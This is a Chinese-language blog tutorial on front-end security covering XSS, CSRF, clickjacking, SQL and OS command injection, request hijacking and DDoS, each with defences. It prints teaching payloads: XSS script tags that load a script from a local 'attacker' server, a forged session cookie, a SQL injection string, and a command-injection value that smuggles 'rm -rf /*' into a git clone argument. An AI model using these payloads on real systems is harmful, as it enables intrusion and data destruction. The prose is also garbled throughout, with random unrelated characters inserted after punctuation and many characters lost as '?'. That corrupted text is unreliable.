前端安全——常見web攻擊

此文項(xiàng)目代碼:https://github.com/bei-yang/I-want-to-be-an-architect
碼字不易纺涤,辛苦點(diǎn)個(gè)star,感謝抠忘!

引言


此篇文章主要涉及以下內(nèi)容:

  1. XSS
  2. CSRF
  3. 點(diǎn)擊劫持
  4. SQL注入
  5. OS注入
  6. 請(qǐng)求劫持
  7. DDOS

XSS


XSS(Cross Site Scripting),跨站腳本攻擊外永,因?yàn)榭s寫和CSS重疊崎脉,所以只能叫XSS〔ィ跨站腳本攻擊是指通過存在安全漏洞的Web網(wǎng)站注冊(cè)用戶的瀏覽器內(nèi)運(yùn)行非法的HTML標(biāo)簽或JavaScript進(jìn)行的一種攻擊囚灼。
跨站腳本攻擊有可能造成以下影響:

  • 利用虛假輸入表單騙取用戶個(gè)人信息。
  • 利用腳本竊取用戶的Cookie值祭衩,被害者在不知情的情況下灶体,幫助攻擊者發(fā)送惡意請(qǐng)求。
  • 顯示偽造的文章或圖片掐暮。

XSS攻擊分類

  • 反射性——url參數(shù)直接注入
// 普通
http://localhost:3000/?from=china
// alert嘗試
http://localhost:3000/?from=<script>alert(3)</script>
// 獲取Cookie
http://localhost:3000/?from=<script src="http://localhost:4000/hack.js">
</script>
// 短域名偽造 https://dwz.cn/
// 偽造cookie?侵 chrome
document.cookie="kaikeba:sess=eyJ1c2VybmFtZSI6Imxhb3dhbmciLCJfZXhwaXJlIjox
NTUzNTY1MDAxODYxLCJfbWF4QWdlIjo4NjQwMDAwMH0="
  • 存儲(chǔ)型——存儲(chǔ)到DB后讀取時(shí)注入
// 評(píng)論
<script>alert(1)</script>
// 跨站腳本注?
我來了<script src="http://localhost:4000/hack.js"></script>

XSS攻擊的危害——scripting能干啥就能干啥

  • 獲取頁面數(shù)據(jù)
  • 獲取cookies
  • 劫持前端邏輯
  • 發(fā)送請(qǐng)求
  • 偷取網(wǎng)站的任意數(shù)據(jù)
  • 偷取用戶的資料
  • 偷取用戶的秘密和登錄態(tài)
  • 欺騙用戶

防范手段

ejs轉(zhuǎn)義小知識(shí)

<% code %>?于執(zhí)?其中javascript代碼蝎抽;
<%= code %>會(huì)對(duì)code進(jìn)?html轉(zhuǎn)義;
<%- code %>將不會(huì)進(jìn)?轉(zhuǎn)義
  • HEAD
ctx.set('X-XSS-Protection', 0) // 禁?XSS過濾
// http://localhost:3000/?from=<script>alert(3)</script> 可以攔截 但偽裝?下就
不?了

0禁止XSS過濾路克。
1啟用XSS過濾(通常瀏覽器是默認(rèn)的)樟结。如果檢測(cè)到跨站腳本攻擊养交,瀏覽器將清除頁面(刪除不安全的部分)。
1;mode=block啟用XSS過濾瓢宦。如果檢測(cè)到攻擊碎连,瀏覽器將不會(huì)清除頁面,而是阻止頁面加載驮履。
1;report=(Chromium only)啟動(dòng)XSS過濾鱼辙。如果檢測(cè)到跨站腳本攻擊,瀏覽器將清除頁面并使用CSPreport-uri指令的功能發(fā)送違規(guī)報(bào)告玫镐。

  • CSP
    內(nèi)容安全策略(CSP倒戏,Content Security Policy)是一個(gè)附加的安全層,用于幫助檢測(cè)和緩解某些類型的攻擊摘悴,包括跨站腳本(XSS)和數(shù)據(jù)注入等攻擊峭梳。這些攻擊可用于實(shí)現(xiàn)從數(shù)據(jù)竊取到網(wǎng)站破壞或作為惡意軟件分發(fā)版本等用途。
    CSP本質(zhì)上就是建立白名單蹂喻,開發(fā)者明確告訴瀏覽器哪些外部資源可以加載和執(zhí)行葱椭。我們只需要配置規(guī)則,如何攔截是由瀏覽器自己實(shí)現(xiàn)的口四。我們可以通過這種方式來盡量減少XSS攻擊孵运。
  • 轉(zhuǎn)義字符
  • 黑名單
    用戶的輸入永遠(yuǎn)不可信任,最普遍的做法就是轉(zhuǎn)義輸入輸出的內(nèi)容蔓彩,對(duì)于引導(dǎo)治笨、尖括號(hào)、斜杠進(jìn)行轉(zhuǎn)義赤嚼。
    對(duì)于富文本旷赖,顯然不能通過上面的辦法來轉(zhuǎn)義所有字符,因?yàn)檫@樣會(huì)把需要的格式也過濾掉更卒。對(duì)于這種情況等孵,通常采用白名單過濾的辦法,當(dāng)然也可以通過黑名單過濾蹂空,但是考慮到需要過濾的標(biāo)簽和標(biāo)簽屬性實(shí)在太多俯萌,更加推薦使用白名單的方式。
  • HTTPOnly Cookie
    這是預(yù)防XSS攻擊竊取用戶cookie最有效的防御手段上枕。web應(yīng)用程序在設(shè)置cookie時(shí)咐熙,將其屬性設(shè)為HttpOnly,就可以避免該網(wǎng)頁的cookie被客戶端惡意JavaScript獲取辨萍,保護(hù)用戶cookie信息棋恼。
response.addHeader("Set-Cookie","uid=112;Path=/;HttpOnly")

CSRF


CSRF(Cross Site Request Forgery),即跨站請(qǐng)求偽造,是一種常見的web攻擊蘸泻,他利用用戶已登錄的身份琉苇,在用戶毫不知情的情況下,以用戶的名義完成非法操作悦施。

  • 用戶已經(jīng)登錄了站點(diǎn)A并扇,并在本地記錄了Cookie
  • 在用戶沒有登出站點(diǎn)A的情況下(也就是cookie生效的情況下),訪問了惡意攻擊者提供的引誘危險(xiǎn)站點(diǎn)B(B站點(diǎn)要求訪問站點(diǎn)A)
  • 站點(diǎn)A沒有做任何CSRF防御
登錄 http://localhost:4000/csrf.html

CSRF攻擊危害

  • 利用用戶登錄態(tài)
  • 用戶不知情
  • 完成業(yè)務(wù)請(qǐng)求
  • 盜取用戶資金(轉(zhuǎn)賬抡诞,消費(fèi))
  • 冒充用戶發(fā)帖背鍋
  • 損害網(wǎng)站聲譽(yù)

防御

  • 禁止第三方網(wǎng)站帶Cookie——有兼容性問題
  • Referer Check——https不發(fā)送Referer
  • 驗(yàn)證碼

點(diǎn)擊劫持——Clickjacking

點(diǎn)擊劫持是一種視覺欺騙的攻擊手段穷蛹。攻擊者將需要攻擊的網(wǎng)站通過iframe嵌套的方式嵌入自己的網(wǎng)頁中,并將iframe設(shè)置為透明昼汗,在頁面中透出一個(gè)按鈕誘導(dǎo)用戶點(diǎn)擊肴熏。

// 登錄
http://localhost:4000/clickjacking.html

防御

  • X-FRAME-OPTIONS
    X-FRAME-OPTIONS是一個(gè)HTTP響應(yīng)頭,在現(xiàn)代瀏覽器有一個(gè)很好的支持顷窒。這個(gè)HTTP響應(yīng)頭就是為了防御用iframe嵌套的點(diǎn)擊劫持攻擊蛙吏。
    該響應(yīng)頭有三個(gè)值可選,分別是:
    1. DENY鞋吉,表示頁面不允許通過iframe的方式展示
    2. SAMEORIGIN鸦做,表示頁面可以在相同域名下通過iframe的方式展示
    3. ALLOW-FROM,表示頁面可以在指定來源的iframe中展示
    ctx.set('X-FRAME-OPTIONS','DENY')
    
  • JS方式
<head>
 <style id="click-jack">
 html {
 display: none !important;
 }
 </style>
</head>
<body>
 <script>
 if (self == top) {
 var style = document.getElementById('click-jack')
 document.body.removeChild(style)
 } else {
 top.location = self.location
 }
 </script>
</body>

以上代碼的作?就是當(dāng)通過 iframe 的?式加載??時(shí)谓着,攻擊者的??直接不顯示所有內(nèi)容了泼诱。

SQL注入

// 填?特殊密碼
1'or'1'='1
// 拼接后的SQL
SELECT *
FROM test.user
WHERE username = 'laowang'
AND password = '1'or'1'='1'

防御

  • 所有的查詢語句建議使用數(shù)據(jù)庫(kù)提供的參數(shù)化查詢接口,參數(shù)化的語句使用參數(shù)而不是將用戶輸入變量嵌入到SQL語句中赊锚,即不要直接拼接SQL語句治筒。例如Node.js中的mysqljs庫(kù)的query方法中的?占位參數(shù)舷蒲。
  • 嚴(yán)格限制web應(yīng)用的數(shù)據(jù)庫(kù)的操作權(quán)限耸袜,給此用戶提供僅僅能夠滿足其工作的最低權(quán)限,從而最大限度的減少注入攻擊對(duì)數(shù)據(jù)庫(kù)的危害牲平。
  • 后端代碼檢查輸入的數(shù)據(jù)是否符合預(yù)期句灌,嚴(yán)格限制變量的類型,例如使用正則表達(dá)式進(jìn)行一些匹配處理欠拾。
  • 對(duì)進(jìn)?數(shù)據(jù)庫(kù)的特殊字符(',"骗绕,\藐窄,<,>酬土,&荆忍,*,; 等)進(jìn)?轉(zhuǎn)義處理,或編碼轉(zhuǎn)換刹枉∵闯基本上
    所有的后端語?都有對(duì)字符串進(jìn)?轉(zhuǎn)義處理的?法,?如 lodash 的 lodash._escapehtmlchar
    庫(kù)微宝。

OS命令注入

OS命令注?和SQL注?差不多棺亭,只不過SQL注?是針對(duì)數(shù)據(jù)庫(kù)的,?OS命令注?是針對(duì)操作系統(tǒng)的蟋软。OS命令注?攻擊指通過Web應(yīng)?镶摘,執(zhí)??法的操作系統(tǒng)命令達(dá)到攻擊的?的。只要在能調(diào)?Shell函數(shù)的地?就有存在被攻擊的?險(xiǎn)岳守。倘若調(diào)?Shell時(shí)存在疏漏凄敢,就可以執(zhí)?插?的?法命令。

// 以 Node.js 為例湿痢,假如在接?中需要從 github 下載?戶指定的 repo
const exec = require('mz/child_process').exec;
let params = {/* ?戶輸?的參數(shù) */};
exec(`git clone ${params.repo} /some/path`);

如果傳?的參數(shù)是這樣的呢

https://github.com/xx/xx.git && rm -rf /* &&

請(qǐng)求劫持

  • DNS劫持
    顧名思義涝缝,DNS服務(wù)器(DNS解析各個(gè)步驟)被篡改,修改了域名解析的結(jié)果譬重,使得訪問到的不是預(yù)期
    的ip
  • HTTP劫持 運(yùn)營(yíng)商劫持拒逮,此時(shí)?概只能升級(jí)HTTPS了

DDOS

http://www.ruanyifeng.com/blog/2018/06/ddos.html 阮?峰

distributed denial of service
DDOS 不是?種攻擊,?是??類攻擊的總稱害幅。它有??種類型消恍,新的攻擊?法還在不斷發(fā)明出來。?站運(yùn)?的各個(gè)環(huán)節(jié)以现,都可以是攻擊?標(biāo)狠怨。只要把?個(gè)環(huán)節(jié)攻破,使得整個(gè)流程跑不起來邑遏,就達(dá)到了癱瘓服務(wù)的?的佣赖。
其中,?較常?的?種攻擊是 cc 攻擊记盒。它就是簡(jiǎn)單粗暴地送來?量正常的請(qǐng)求憎蛤,超出服務(wù)器的最?承受量,導(dǎo)致宕機(jī)纪吮。我遭遇的就是 cc 攻擊俩檬,最多的時(shí)候全世界?概20多個(gè) IP 地址輪流發(fā)出請(qǐng)求,每個(gè)地址的請(qǐng)求量在每秒200次~300次碾盟。我看訪問?志的時(shí)候棚辽,就覺得那些請(qǐng)求像洪??樣涌來,?眨眼就是?大堆冰肴,?分鐘的時(shí)間屈藐,?志?件的體積就?了100MB榔组。說實(shí)話,這只能算?攻擊联逻,但是我的個(gè)??站沒有任何防護(hù)搓扯,服務(wù)器還是跟其他?共享的,這種流量?來?刻就下線了包归。

防御手段

  • 備份?站
    備份?站不?定是全功能的锨推,如果能做到全靜態(tài)瀏覽,就能滿?需求箫踩。最低限度應(yīng)該可以顯示公
    告爱态,告訴?戶,?站出了問題境钟,正在全?搶修锦担。
  • HTTP 請(qǐng)求的攔截
    硬件 服務(wù)器 防?墻
  • 帶寬擴(kuò)容 + CDN
    提?犯罪成本

你的贊是我前進(jìn)的動(dòng)力

求贊,求評(píng)論慨削,求轉(zhuǎn)發(fā)...

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末洞渔,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子缚态,更是在濱河造成了極大的恐慌磁椒,老刑警劉巖,帶你破解...
    沈念sama閱讀 211,348評(píng)論 6 491
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件玫芦,死亡現(xiàn)場(chǎng)離奇詭異浆熔,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī)桥帆,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 90,122評(píng)論 2 385
  • 文/潘曉璐 我一進(jìn)店門医增,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人老虫,你說我怎么就攤上這事叶骨。” “怎么了祈匙?”我有些...
    開封第一講書人閱讀 156,936評(píng)論 0 347
  • 文/不壞的土叔 我叫張陵忽刽,是天一觀的道長(zhǎng)。 經(jīng)常有香客問我夺欲,道長(zhǎng)跪帝,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 56,427評(píng)論 1 283
  • 正文 為了忘掉前任些阅,我火速辦了婚禮歉甚,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘扑眉。我一直安慰自己纸泄,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 65,467評(píng)論 6 385
  • 文/花漫 我一把揭開白布腰素。 她就那樣靜靜地躺著聘裁,像睡著了一般。 火紅的嫁衣襯著肌膚如雪弓千。 梳的紋絲不亂的頭發(fā)上衡便,一...
    開封第一講書人閱讀 49,785評(píng)論 1 290
  • 那天,我揣著相機(jī)與錄音洋访,去河邊找鬼镣陕。 笑死,一個(gè)胖子當(dāng)著我的面吹牛姻政,可吹牛的內(nèi)容都是我干的呆抑。 我是一名探鬼主播,決...
    沈念sama閱讀 38,931評(píng)論 3 406
  • 文/蒼蘭香墨 我猛地睜開眼汁展,長(zhǎng)吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼鹊碍!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起食绿,我...
    開封第一講書人閱讀 37,696評(píng)論 0 266
  • 序言:老撾萬榮一對(duì)情侶失蹤侈咕,失蹤者是張志新(化名)和其女友劉穎,沒想到半個(gè)月后器紧,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體耀销,經(jīng)...
    沈念sama閱讀 44,141評(píng)論 1 303
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 36,483評(píng)論 2 327
  • 正文 我和宋清朗相戀三年铲汪,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了熊尉。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 38,625評(píng)論 1 340
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡桥状,死狀恐怖帽揪,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情辅斟,我是刑警寧澤转晰,帶...
    沈念sama閱讀 34,291評(píng)論 4 329
  • 正文 年R本政府宣布,位于F島的核電站士飒,受9級(jí)特大地震影響查邢,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜酵幕,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,892評(píng)論 3 312
  • 文/蒙蒙 一扰藕、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧芳撒,春花似錦邓深、人聲如沸未桥。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,741評(píng)論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽冬耿。三九已至,卻和暖如春萌壳,著一層夾襖步出監(jiān)牢的瞬間亦镶,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 31,977評(píng)論 1 265
  • 我被黑心中介騙來泰國(guó)打工袱瓮, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留缤骨,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 46,324評(píng)論 2 360
  • 正文 我出身青樓尺借,卻偏偏與公主長(zhǎng)得像绊起,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子褐望,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 43,492評(píng)論 2 348

推薦閱讀更多精彩內(nèi)容